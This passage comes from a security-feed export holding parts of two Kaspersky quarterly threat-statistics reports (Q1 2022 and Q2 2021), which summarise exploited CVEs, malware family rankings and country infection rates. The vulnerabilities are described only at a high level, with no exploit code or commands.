[CVE-2022-21919](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-21919>), a vulnerability in the User Profile Service which makes it possible to elevate privileges, along with [CVE-2022-21836](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-21836>), which can be used to forge digital certificates.\n\nOne of the major talking points in Q1 was an exploit that targeted the [CVE-2022-0847](<https://dirtypipe.cm4all.com/>) vulnerability in the Linux OS kernel. It was dubbed "Dirty Pipe". [Researchers discovered](<https://securelist.com/cve-2022-0847-aka-dirty-pipe-vulnerability-in-linux-kernel/106088/>) an "uninitialized memory" vulnerability when analyzing corrupted files, which makes it possible to rewrite a part of the OS memory, namely page memory that contains system files' data. This in turn opens up an opportunity, such as elevating attacker's privileges to root. It's worth noting that this vulnerability is fairly easy to exploit, which means users of all systems should regularly install security patches and use all available means to prevent infection.\n\nWhen it comes to network threats, this quarter continued to show how cybercriminals often resort to the technique of brute-forcing passwords to gain unauthorized access to various network services, the most popular of which are MSSQL, RDP and SMB. Attacks using the EternalBlue, EternalRomance and similar exploits remain as popular as ever. Due to widespread unpatched versions of Microsoft Exchange Server, networks often fall victim to exploits of ProxyToken, ProxyShell, ProxyOracle and other vulnerabilities. One example of a critical vulnerability found is remote code execution (RCE) in the Microsoft Windows HTTP protocol stack which allows an attack to be launched remotely by sending a special network packet to a vulnerable system by means of the HTTP trailer functionality. New attacks on network applications which will probably also become common are RCE attacks on the popular Spring Framework and Spring Cloud Gateway. Specific examples of vulnerabilities in these applications are [CVE-2022-22965](<https://nvd.nist.gov/vuln/detail/CVE-2022-22965>) (Spring4Shell) and [CVE-2022-22947](<https://nvd.nist.gov/vuln/detail/CVE-2022-22947>).\n\n### Vulnerability statistics\n\nQ1 2022 saw an array of changes in the statistics on common vulnerability types. For instance, the top place in the statistics is still firmly held by exploits targeting vulnerabilities in Microsoft Office and their share has increased significantly to 78.5%. The same common vulnerabilities we've written about on more than one occasion are still the most widely exploited within this category of threats. These are [CVE-2017-11882](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-11882>) and [CVE-2018-0802](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-0802>), which cause a buffer overflow when processing objects in a specially crafted document in the Equation Editor component and ultimately allow an attacker to execute arbitrary code. There's also [CVE-2017-8570](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-8570>), where opening a specially crafted file with an affected version of Microsoft Office software gives attackers the opportunity to perform various actions on the vulnerable system. Another vulnerability found last year which is very popular with cybercriminals is [CVE-2021-40444](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-40444>), which they can use to exploit through a specially prepared Microsoft Office document with an embedded malicious ActiveX control for executing arbitrary code in the system.\n\n_Distribution of exploits used by cybercriminals, by type of attacked application, Q1 2022 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2022/05/25231538/09-en-malware-report-q1-2022-pc.png>))_\n\nExploits targeting browsers came second again in Q1, although their share dropped markedly to just 7.64%. Browser developers put a great deal of effort into patching vulnerability exploits in each new version and closing a large number of gaps in system security. Apart from that, the majority of browsers have automatic updates as opposed to the distinct example of Microsoft Office, where many of its users still use outdated versions and are in no rush to install security updates. That could be precisely the reason why we've seen a reduction in the share of browser exploits in our statistics. However, this does not mean they're no longer an immediate threat. For instance, Chrome's developers fixed a number of critical RCE vulnerabilities, including:\n\n * [CVE-2022-1096](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-1096>): a "type confusion" vulnerability in the V8 script engine which gives attackers the opportunity to remotely execute code (RCE) in the context of the browser's security sandbox.\n * [CVE-2022-0609](<https://nvd.nist.gov/vuln/detail/CVE-2022-0609>): a use-after-free vulnerability which allows to corrupt the process memory and remotely execute arbitrary codes when performing specially generated scripts that use animation.\n\nSimilar vulnerabilities were found in the browser's other components: [CVE-2022-0605](<https://nvd.nist.gov/vuln/detail/CVE-2022-0605>)which uses Web Store API, and [CVE-2022-0606](<https://nvd.nist.gov/vuln/detail/CVE-2022-0606>) which is associated with vulnerabilities in the WebGL backend (ANGLE). Another vulnerability found was [CVE-2022-0604](<https://nvd.nist.gov/vuln/detail/CVE-2022-0604>), which can be used to exploit a heap buffer overflow in Tab Groups, also potentially leading to remote code execution (RCE).\n\nExploits for Android came third in our statistics (4.10%), followed by exploits targeting the Adobe Flash Platform (3.49%), PDF files (3.48%) and Java apps (2.79%).\n\n## Attacks on macOS\n\nThe year began with a number of interesting multi-platform finds: the [Gimmick](<https://www.securityweek.com/chinese-cyberspies-seen-using-macos-variant-gimmick-malware>) multi-platform malware family with Windows and macOS variants that uses Google Drive to communicate with the C&C server, along with the [SysJoker backdoor](<https://threatpost.com/undetected-sysjoker-backdoor-malwarewindows-linux-macos/177532/>) with versions tailored for Windows, Linux and macOS.\n\n**TOP 20 threats for macOS**\n\n| **Verdict** | **%*** \n---|---|--- \n1 | AdWare.OSX.Pirrit.ac | 13.23 \n2 | AdWare.OSX.Pirrit.j | 12.05 \n3 | Monitor.OSX.HistGrabber.b | 8.83 \n4 | AdWare.OSX.Pirrit.o | 7.53 \n5 | AdWare.OSX.Bnodlero.at | 7.41 \n6 | Trojan-Downloader.OSX.Shlayer.a | 7.06 \n7 | AdWare.OSX.Pirrit.aa | 6.75 \n8 | AdWare.OSX.Pirrit.ae | 6.07 \n9 | AdWare.OSX.Cimpli.m | 5.35 \n10 | Trojan-Downloader.OSX.Agent.h | 4.96 \n11 | AdWare.OSX.Pirrit.gen | 4.76 \n12 | AdWare.OSX.Bnodlero.bg | 4.60 \n13 | AdWare.OSX.Bnodlero.ax | 4.45 \n14 | AdWare.OSX.Agent.gen | 3.74 \n15 | AdWare.OSX.Agent.q | 3.37 \n16 | Backdoor.OSX.Twenbc.b | 2.84 \n17 | Trojan-Downloader.OSX.AdLoad.mc | 2.81 \n18 | Trojan-Downloader.OSX.Lador.a | 2.81 \n19 | AdWare.OSX.Bnodlero.ay | 2.81 \n20 | Backdoor.OSX.Agent.z | 2.56 \n \n_* Unique users who encountered this malware as a percentage of all users of Kaspersky security solutions for macOS who were attacked._\n\nThe TOP 20 threats to users detected by Kaspersky security solutions for macOS is usually dominated by various adware apps. The top two places in the rating were taken by adware apps from the AdWare.OSX.Pirrit family, while third place was taken by a member of the Monitor.OSX.HistGrabber.b family of potentially unwanted software which sends users' browser history to its owners' servers.\n\n### Geography of threats for macOS\n\n_Geography of threats for macOS, Q1 2022 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2022/05/25231608/10-en-malware-report-q1-2022-pc.png>))_\n\n**TOP 10 countries by share of attacked users**\n\n| **Country*** | **%**** \n---|---|--- \n1 | France | 2.36 \n2 | Spain | 2.29 \n3 | Italy | 2.16 \n4 | Canada | 2.15 \n5 | India | 1.95 \n6 | United States | 1.90 \n7 | Russian Federation | 1.83 \n8 | United Kingdom | 1.58 \n9 | Mexico | 1.49 \n10 | Australia | 1.36 \n \n_* Excluded from the rating are countries with relatively few users of Kaspersky security solutions for macOS (under 10,000)._ \n_** Unique users attacked as a percentage of all users of Kaspersky security solutions for macOS in the country._\n\nIn Q1 2022, the country where the most users were attacked was France (2.36%), followed by Spain (2.29%) and Italy (2.16%). Adware from the Pirrit family was encountered most frequently out of all macOS threats in the listed countries.\n\n## IoT attacks\n\n### IoT threat statistics\n\nIn Q1 2022, most devices that attacked Kaspersky traps did so using the Telnet protocol as before. Just one quarter of devices attempted to brute-force our SSH traps.\n\nTelnet | 75.28% \n---|--- \nSSH | 24.72% \n \n**_Distribution of attacked services by number of unique IP addresses of devices that carried out attacks, Q1 2022_**\n\nIf we look at sessions involving Kaspersky honeypots, we see far greater Telnet dominance.\n\nTelnet | 93.16% \n---|--- \nSSH | 6.84% \n \n**_Distribution of cybercriminal working sessions with Kaspersky traps, Q1 2022_**\n\n**TOP 10 threats delivered to IoT devices via Telnet**\n\n| **Verdict** | **%*** \n---|---|--- \n1 | Backdoor.Linux.Mirai.b | 38.07 \n2 | Trojan-Downloader.Linux.NyaDrop.b | 9.26 \n3 | Backdoor.Linux.Mirai.ba | 7.95 \n4 | Backdoor.Linux.Gafgyt.a | 5.55 \n5 | Trojan-Downloader.Shell.Agent.p | 4.62 \n6 | Backdoor.Linux.Mirai.ad | 3.89 \n7 | Backdoor.Linux.Gafgyt.bj | 3.02 \n8 | Backdoor.Linux.Agent.bc | 2.76 \n9 | RiskTool.Linux.BitCoinMiner.n | 2.00 \n10 | Backdoor.Linux.Mirai.cw | 1.98 \n \n_* Share of each threat delivered to infected devices as a result of a successful Telnet attack out of the total number of delivered threats._\n\nSimilar IoT-threat statistics [are published in the DDoS report](<https://securelist.com/ddos-attacks-in-q1-2022/105045/#attacks-on-iot-honeypots>) for Q1 2022.\n\n## Attacks via web resources\n\n_The statistics in this section are based on Web Anti-Virus, which protects users when malicious objects are downloaded from malicious/infected web pages. Cybercriminals create such sites on purpose and web resources with user-created content (for example, forums), as well as hacked legitimate resources, can be infected._\n\n### Countries and territories that serve as sources of web-based attacks: TOP 10\n\n_The following statistics show the distribution by country or territory of the sources of Internet attacks blocked by Kaspersky products on user computers (web pages with redirects to exploits, sites hosting malicious programs, botnet C&C centers, etc.). Any unique host could be the source of one or more web-based attacks._\n\n_To determine the geographic source of web attacks, the GeoIP technique was used to match the domain name to the real IP address at which the domain is hosted._\n\nIn Q1 2022, Kaspersky solutions blocked 1,216,350,437 attacks launched from online resources across the globe. 313,164,030 unique URLs were recognized as malicious by Web Anti-Virus components.\n\n_Distribution of web-attack sources by country and territory, Q1 2022 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2022/05/25231643/11-en-malware-report-q1-2022-pc.png>))_\n\n### Countries and territories where users faced the greatest risk of online infection\n\nTo assess the risk of online infection faced by users in different countries and territories, for each country or territory we calculated the percentage of Kaspersky users on whose computers Web Anti-Virus was triggered during the quarter. The resulting data provides an indication of the aggressiveness of the environment in which computers operate in different countries and territories.\n\nThis rating only includes attacks by malicious programs that fall under the **Malware class**; it does not include Web Anti-Virus detections of potentially dangerous or unwanted programs such as RiskTool or adware.\n\n| **Country or territory*** | **%**** \n---|---|--- \n1 | Taiwan | 22.63 \n2 | Tunisia | 21.57 \n3 | Algeria | 16.41 \n4 | Mongolia | 16.05 \n5 | Serbia | 15.96 \n6 | Libya | 15.67 \n7 | Estonia | 14.45 \n8 | Greece | 14.37 \n9 | Nepal | 14.01 \n10 | Hong Kong | 13.85 \n11 | Yemen | 13.17 \n12 | Sudan | 13.08 \n13 | Slovenia | 12.94 \n14 | Morocco | 12.82 \n15 | Qatar | 12.78 \n16 | Croatia | 12.53 \n17 | Republic of Malawi | 12.33 \n18 | Sri Lanka | 12.28 \n19 | Bangladesh | 12.26 \n20 | Palestine | 12.23 \n \n_* Excluded are countries and territories with relatively few Kaspersky users (under 10,000)._ \n_** Unique users targeted by **Malware-class** attacks as a percentage of all unique users of Kaspersky products in the country or territory._\n\nOn average during the quarter, 8.18% of computers of Internet users worldwide were subjected to at least one **Malware-class** web attack.\n\n_Geography of web-based malware attacks, Q1 2022 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2022/05/27074233/13-en-malware-report-q1-2022-pc-1.png>))_\n\n## Local threats\n\n_In this section, we analyze statistical data obtained from the OAS and ODS modules in Kaspersky products. It takes into account malicious programs that were found directly on users' computers or removable media connected to them (flash drives, camera memory cards, phones, external hard drives), or which initially made their way onto the computer in non-open form (for example, programs in complex installers, encrypted files, etc.)._\n\nIn Q1 2022, our File Anti-Virus detected **58,989,058** malicious and potentially unwanted objects.\n\n### Countries where users faced the highest risk of local infection\n\nFor each country, we calculated the percentage of Kaspersky product users on whose computers File Anti-Virus was triggered during the reporting period. These statistics reflect the level of personal computer infection in different countries.\n\nNote that this rating only includes attacks by malicious programs that fall under the **Malware class**; it does not include File Anti-Virus triggerings in response to potentially dangerous or unwanted programs, such as RiskTool or adware.\n\n| **Country*** | **%**** \n---|---|--- \n1 | Yemen | 48.38 \n2 | Turkmenistan | 47.53 \n3 | Tajikistan | 46.88 \n4 | Cuba | 45.29 \n5 | Afghanistan | 42.79 \n6 | Uzbekistan | 41.56 \n7 | Bangladesh | 41.34 \n8 | South Sudan | 39.91 \n9 | Ethiopia | 39.76 \n10 | Myanmar | 37.22 \n11 | Syria | 36.89 \n12 | Algeria | 36.02 \n13 | Burundi | 34.13 \n14 | Benin | 33.81 \n15 | Rwanda | 33.11 \n16 | Sudan | 32.90 \n17 | Tanzania | 32.39 \n18 | Kyrgyzstan | 32.26 \n19 | Venezuela | 32.00 \n20 | Iraq | 31.93 \n \n_* Excluded are countries with relatively few Kaspersky users (under 10,000)._ \n_** Unique users on whose computers **Malware-class** local threats were blocked, as a percentage of all unique users of Kaspersky products in the country._\n\n_Geography of local infection attempts, Q1 2022 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2022/05/25231744/13-en-malware-report-q1-2022-pc.png>))_\n\nOverall, 15.48% of user computers globally faced at least one Malware-class local threat during Q1. Russia scored 16.88% in this rating.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2022-05-27T08:00:05", "type": "securelist", "title": "IT threat evolution in Q1 2022. Non-mobile statistics", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-11882", "CVE-2017-8570", "CVE-2018-0802", "CVE-2021-40444", "CVE-2022-0604", "CVE-2022-0605", "CVE-2022-0606", "CVE-2022-0609", "CVE-2022-0847", "CVE-2022-1096", "CVE-2022-21836", "CVE-2022-21882", "CVE-2022-21919", "CVE-2022-22947", "CVE-2022-22965"], "modified": "2022-05-27T08:00:05", "id": "SECURELIST:11665FFD7075FB9D59316195101DE894", "href": "https://securelist.com/it-threat-evolution-in-q1-2022-non-mobile-statistics/106531/", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-08-12T10:37:29", "description": "\n\n_These statistics are based on detection verdicts of Kaspersky products received from users who consented to providing statistical data._\n\n## Quarterly figures\n\nAccording to Kaspersky Security Network, in Q2 2021:\n\n * Kaspersky solutions blocked 1,686,025,551 attacks from online resources across the globe.\n * Web antivirus recognized 675,832,360 unique URLs as malicious.\n * Attempts to run malware for stealing money from online bank accounts were stopped on the computers of 119,252 unique users.\n * Ransomware attacks were defeated on the computers of 97,451 unique users.\n * Our file antivirus detected 68,294,298 unique malicious and potentially unwanted objects.\n\n## Financial threats\n\n### Financial threat statistics\n\nIn Q2 2021, Kaspersky solutions blocked the launch of at least one piece of banking malware on the computers of 119,252 unique users.\n\n_Number of unique users attacked by financial malware, Q2 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/08/11140610/01-en-malware-report-q2-2021-graphs-pc.png>))_\n\n**Geography of financial malware attacks**\n\n_To evaluate and compare the risk of being infected by banking Trojans and ATM/POS malware worldwide, for each country we calculated the share of users of Kaspersky products who faced this threat during the reporting period as a percentage of all users of our products in that country._\n\n_Geography of financial malware attacks, Q2 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/08/11140636/02-en-malware-report-q2-2021-graphs-pc.png>))_\n\n**Top 10 countries by share of attacked users**\n\n| **Country*** | **%**** \n---|---|--- \n1 | Turkmenistan | 5.8 \n2 | Tajikistan | 5.0 \n3 | Afghanistan | 4.2 \n4 | Uzbekistan | 3.3 \n5 | Lithuania | 2.9 \n6 | Sudan | 2.8 \n7 | Paraguay | 2.5 \n8 | Zimbabwe | 1.6 \n9 | Costa Rica | 1.5 \n10 | Yemen | 1.5 \n \n_* Excluded are countries with relatively few Kaspersky product users (under 10,000)._ \n_** Unique users whose computers were targeted by financial malware as a percentage of all unique users of Kaspersky products in the country._\n\nLast quarter, as per tradition, the most widespread family of bankers was ZeuS/Zbot (17.8%), but its share in Q2 almost halved, by 13 p.p. Second place again went to the CliptoShuffler family (9.9%), whose share also fell, by 6 p.p. The Top 3 is rounded out by SpyEye (8.8%), which added 5 p.p., climbing from the eighth place. Note the disappearance of Emotet from the Top 10, which was predictable given the liquidation of its infrastructure in the previous quarter.\n\n**Top 10 banking malware families**\n\n| Name | Verdicts | %* \n---|---|---|--- \n1 | Zbot | Trojan.Win32.Zbot | 17.8 \n2 | CliptoShuffler | Trojan-Banker.Win32.CliptoShuffler | 9.9 \n3 | SpyEye | Trojan-Spy.Win32.SpyEye | 8.8 \n4 | Trickster | Trojan.Win32.Trickster | 5.5 \n5 | RTM | Trojan-Banker.Win32.RTM | 3.8 \n6 | Danabot | Trojan-Banker.Win32.Danabot | 3.6 \n7 | Nimnul | Virus.Win32.Nimnul | 3.3 \n8 | Cridex | Backdoor.Win32.Cridex | 2.3 \n9 | Nymaim | Trojan.Win32.Nymaim | 1.9 \n10 | Neurevt | Trojan.Win32.Neurevt | 1.6 \n \n_* Unique users who encountered this malware family as a percentage of all users attacked by financial malware._\n\n## Ransomware programs\n\n### Quarterly trends and highlights\n\n#### Attack on Colonial Pipeline and closure of DarkSide\n\nRansomware attacks on large organizations continued in Q2. Perhaps the most notable event of the quarter was the [attack by the DarkSide group on Colonial Pipeline](<https://ics-cert.kaspersky.com/reports/2021/05/21/darkchronicles-the-consequences-of-the-colonial-pipeline-attack/>), one of the largest fuel pipeline operators in the US. The incident led to fuel outages and a state of emergency in four states. The results of the investigation, which involved the FBI and several other US government agencies, was reported to US President Joe Biden.\n\nFor the cybercriminals, this sudden notoriety proved unwelcome. In their blog, DarkSide's creators heaped the blame on third-party operators. Another post was published stating that DarkSide's developers had lost access to part of their infrastructure and were shutting down the service and the affiliate program.\n\nAnother consequence of this high-profile incident was a new rule on the Russian-language forum XSS, where many developers of ransomware, including REvil (also known as Sodinokibi or Sodin), LockBit and Netwalker, advertise their affiliate programs. The new rule forbade the advertising and selling of any ransomware programs on the site. The administrators of other forums popular with cybercriminals took similar decisions.\n\n#### Closure of Avaddon\n\nAnother family of targeted ransomware whose owners shut up shop in Q2 is Avaddon. At the same time as announcing the shutdown, the attackers [provided](<https://www.bleepingcomputer.com/news/security/avaddon-ransomware-shuts-down-and-releases-decryption-keys/>) Bleeping Computer with the decryption keys.\n\n#### Clash with Clop\n\nUkrainian police [searched](<https://cyberpolice.gov.ua/news/kiberpolicziya-vykryla-xakerske-ugrupovannya-u-rozpovsyudzhenni-virusu-shyfruvalnyka-ta-nanesenni-inozemnym-kompaniyam-piv-milyarda-dolariv-zbytkiv-2402/>) and arrested members of the Clop group. Law enforcement agencies also deactivated part of the cybercriminals' infrastructure, which [did not](<https://www.bleepingcomputer.com/news/security/clop-ransomware-is-back-in-business-after-recent-arrests/>), however, stop the group's activities.\n\n#### Attacks on NAS devices\n\nIn Q2, cybercriminals stepped up their attacks on network-attached storage (NAS) devices. There appeared the new [Qlocker](<https://support.qnap.ru/hc/ru/articles/360021328659-\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c-Qnap-Ransomware-Qlocker>) family, which packs user files into a password-protected 7zip archive, plus our old friends [ech0raix](<https://www.qnap.com/en/security-advisory/QSA-21-18>) and [AgeLocker](<https://www.qnap.com/en-us/security-advisory/QSA-21-15>) began to gather steam.\n\n### Number of new ransomware modifications\n\nIn Q2 2021, we detected 14 new ransomware families and 3,905 new modifications of this malware type.\n\n_Number of new ransomware modifications, Q2 2020 \u2014 Q2 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/08/11141411/03-en-ru-es-malware-report-q2-2021-graphs-pc.png>))_\n\n### Number of users attacked by ransomware Trojans\n\nIn Q2 2021, Kaspersky products and technologies protected 97,451 users from ransomware attacks.\n\n_Number of unique users attacked by ransomware Trojans, Q2 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/08/11141438/04-en-malware-report-q2-2021-graphs-pc.png>))_\n\n### Geography of ransomware attacks\n\n_Geography of attacks by ransomware Trojans, Q2 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/08/11141505/05-en-malware-report-q2-2021-graphs-pc.png>))_\n\n**Top 10 countries attacked by ransomware Trojans**\n\n| **Country*** | **%**** \n---|---|--- \n1 | Bangladesh | 1.85 \n2 | Ethiopia | 0.51 \n3 | China | 0.49 \n4 | Pakistan | 0.40 \n5 | Egypt | 0.38 \n6 | Indonesia | 0.36 \n7 | Afghanistan | 0.36 \n8 | Vietnam | 0.35 \n9 | Myanmar | 0.35 \n10 | Nepal | 0.33 \n \n_* Excluded are countries with relatively few Kaspersky users (under 50,000)._ \n_** Unique users attacked by ransomware Trojans as a percentage of all unique users of Kaspersky products in the country._\n\n### Top 10 most common families of ransomware Trojans\n\n| **Name** | **Verdicts** | **%*** \n---|---|---|--- \n1 | WannaCry | Trojan-Ransom.Win32.Wanna | 20.66 \n2 | Stop | Trojan-Ransom.Win32.Stop | 19.70 \n3 | (generic verdict) | Trojan-Ransom.Win32.Gen | 9.10 \n4 | (generic verdict) | Trojan-Ransom.Win32.Crypren | 6.37 \n5 | (generic verdict) | Trojan-Ransom.Win32.Phny | 6.08 \n6 | (generic verdict) | Trojan-Ransom.Win32.Encoder | 5.87 \n7 | (generic verdict) | Trojan-Ransom.Win32.Agent | 5.19 \n8 | PolyRansom/VirLock | Virus.Win32.Polyransom / Trojan-Ransom.Win32.PolyRansom | 2.39 \n9 | (generic verdict) | Trojan-Ransom.Win32.Crypmod | 1.48 \n10 | (generic verdict) | Trojan-Ransom.MSIL.Encoder | 1.26 \n \n_* Unique Kaspersky users attacked by this family of ransomware Trojans as a percentage of all users attacked by such malware._\n\n## Miners\n\n### Number of new miner modifications\n\nIn Q2 2021, Kaspersky solutions detected 31,443 new modifications of miners.\n\n_Number of new miner modifications, Q2 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/08/11141534/06-en-malware-report-q2-2021-graphs-pc.png>))_\n\n### Number of users attacked by miners\n\nIn Q2, we detected attacks using miners on the computers of 363,516 unique users of Kaspersky products worldwide. At the same time, the number of attacked users gradually decreased during the quarter; in other words, the downward trend in miner activity returned.\n\n_Number of unique users attacked by miners, Q2 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/08/11141602/07-en-malware-report-q2-2021-graphs-pc.png>))_\n\n### Geography of miner attacks\n\n_Geography of miner attacks, Q2 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/08/11141627/08-en-malware-report-q2-2021-graphs-pc.png>))_\n\n**Top 10 countries attacked by miners**\n\n| **Country*** | **%**** \n---|---|--- \n1 | Afghanistan | 3.99 \n2 | Ethiopia | 2.66 \n3 | Rwanda | 2.19 \n4 | Uzbekistan | 1.61 \n5 | Mozambique | 1.40 \n6 | Sri Lanka | 1.35 \n7 | Vietnam | 1.33 \n8 | Kazakhstan | 1.31 \n9 | Azerbaijan | 1.21 \n10 | Tanzania | 1.19 \n \n_* Excluded are countries with relatively few users of Kaspersky products (under 50,000)._ \n_** Unique users attacked by miners as a percentage of all unique users of Kaspersky products in the country._\n\n## Vulnerable applications used by cybercriminals during cyberattacks\n\nQ2 2021 injected some minor changes into our statistics on exploits used by cybercriminals. In particular, the share of exploits for Microsoft Office dropped to 55.81% of the total number of threats of this type. Conversely, the share of exploits attacking popular browsers rose by roughly 3 p.p. to 29.13%.\n\n_Distribution of exploits used by cybercriminals, by type of attacked application, Q2 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/08/11141656/09-en-malware-report-q2-2021-graphs-pc.png>))_\n\nMicrosoft Office exploits most often tried to utilize the memory corruption vulnerability [CVE-2018-0802](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-0802>). This error can occur in the Equation Editor component when processing objects in a specially constructed document, and its exploitation causes a buffer overflow and allows an attacker to execute arbitrary code. Also seen in Q2 was the similar vulnerability [CVE-2017-11882](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-11882>), which causes a buffer overflow on the stack in the same component. Lastly, we spotted an attempt to exploit the [CVE-2017-8570](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-8570>) vulnerability, which, like other bugs in Microsoft Office, permits the execution of arbitrary code in vulnerable versions of the software.\n\nQ2 2021 was marked by the emergence of several dangerous vulnerabilities in various versions of the Microsoft Windows family, many of them observed in the wild. Kaspersky alone found three vulnerabilities used in targeted attacks:\n\n * [CVE-2021-28310](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-28310>) \u2014 an out-of-bounds (OOB) write vulnerability in the Microsoft DWM Core library used in Desktop Window Manager. Due to insufficient checks in the data array code, an unprivileged user using the DirectComposition API can write their own data to the memory areas they control. As a result, the data of real objects is corrupted, which, in turn, can lead to the execution of arbitrary code;\n * [CVE-2021-31955](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-31955>) \u2014 an information disclosure vulnerability that exposes information about kernel objects. Together with other exploits, it allows an intruder to attack a vulnerable system;\n * [CVE-2021-31956](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-31956>) \u2014 a vulnerability in the ntfs.sys file system driver. It causes incorrect checking of transferred sizes, allowing an attacker to inflict a buffer overflow by manipulating parameters.\n\nYou can read more about these vulnerabilities and their exploitation in our articles [PuzzleMaker attacks with Chrome zero-day exploit chain](<https://securelist.com/puzzlemaker-chrome-zero-day-exploit-chain/102771/>) and [Zero-day vulnerability in Desktop Window Manager (CVE-2021-28310) used in the wild](<https://securelist.com/zero-day-vulnerability-in-desktop-window-manager-cve-2021-28310-used-in-the-wild/101898/>).\n\nOther security researchers found a number of browser vulnerabilities, including:\n\n * [CVE-2021-33742](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-33742>) \u2014 a bug in the Microsoft Trident browser engine (MSHTML) that allows writing data outside the memory of operable objects;\n * Three Google Chrome vulnerabilities found in the wild that exploit bugs in various browser components: [CVE-2021-30551](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-30551>) \u2014 a data type confusion vulnerability in the V8 scripting engine; [CVE-2021-30554](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-30554>) \u2014 a use-after-free vulnerability in the WebGL component; and [CVE-2021-21220](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-21220>) \u2014 a heap corruption vulnerability;\n * Three vulnerabilities in the WebKit browser engine, now used mainly in Apple products (for example, the Safari browser), were also found in the wild: [CVE-2021-30661](<https://support.apple.com/en-us/HT212317>) \u2014 a use-after-free vulnerability; [CVE-2021-30665](<https://support.apple.com/en-us/HT212336>) \u2014 a memory corruption vulnerability; and [CVE-2021-30663](<https://support.apple.com/en-us/HT212336>) \u2014 an integer overflow vulnerability.\n\nAll of these vulnerabilities allow a cybercriminal to attack a system unnoticed if the user opens a malicious site in an unpatched browser.\n\nIn Q2, two similar vulnerabilities were found ([CVE-2021-31201](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-31201>) and [CVE-2021-31199](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-31199>)), exploiting integer overflow bugs in the Microsoft Windows Cryptographic Provider component. Using these vulnerabilities, an attacker could prepare a special signed document that would ultimately allow the execution of arbitrary code in the context of an application that uses the vulnerable library.\n\nBut the biggest talking point of the quarter was the [critical vulnerabilities CVE-2021-1675 and CVE-2021-34527](<https://securelist.com/quick-look-at-cve-2021-1675-cve-2021-34527-aka-printnightmare/103123/>) in the Microsoft Windows Print Spooler, in both server and client editions. Their discovery, together with a [proof of concept](<https://encyclopedia.kaspersky.com/glossary/poc-proof-of-concept/?utm_source=securelist&utm_medium=blog&utm_campaign=termin-explanation>), caused a stir in both the expert community and the media, which dubbed one of the vulnerabilities PrintNightmare. Exploitation of these vulnerabilities is quite trivial, since Print Spooler is enabled by default in Windows, and the methods of compromise are available even to unprivileged users, including remote ones. In the latter case, the RPC mechanism can be leveraged for compromise. As a result, an attacker with low-level access can take over not only a local machine, but also the domain controller, if these systems have not been updated, or available [risk mitigation methods](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527>) against these vulnerabilities have not been applied.\n\nAmong the network threats in Q2 2021, attempts to brute-force passwords in popular protocols and services (RDP, SSH, MSSQL, etc.) are still current. Attacks using EternalBlue, EternalRomance and other such exploits remain prevalent, although their share is gradually shrinking. New attacks include [CVE-2021-31166](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-31166>), a vulnerability in the Microsoft Windows HTTP protocol stack that causes a denial of service during processing of web-server requests. To gain control over target systems, attackers are also using the previously found NetLogon vulnerability ([CVE-2020-1472](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2020-1472>)) and, for servers running Microsoft Exchange Server, vulnerabilities recently discovered while researching targeted attacks by the 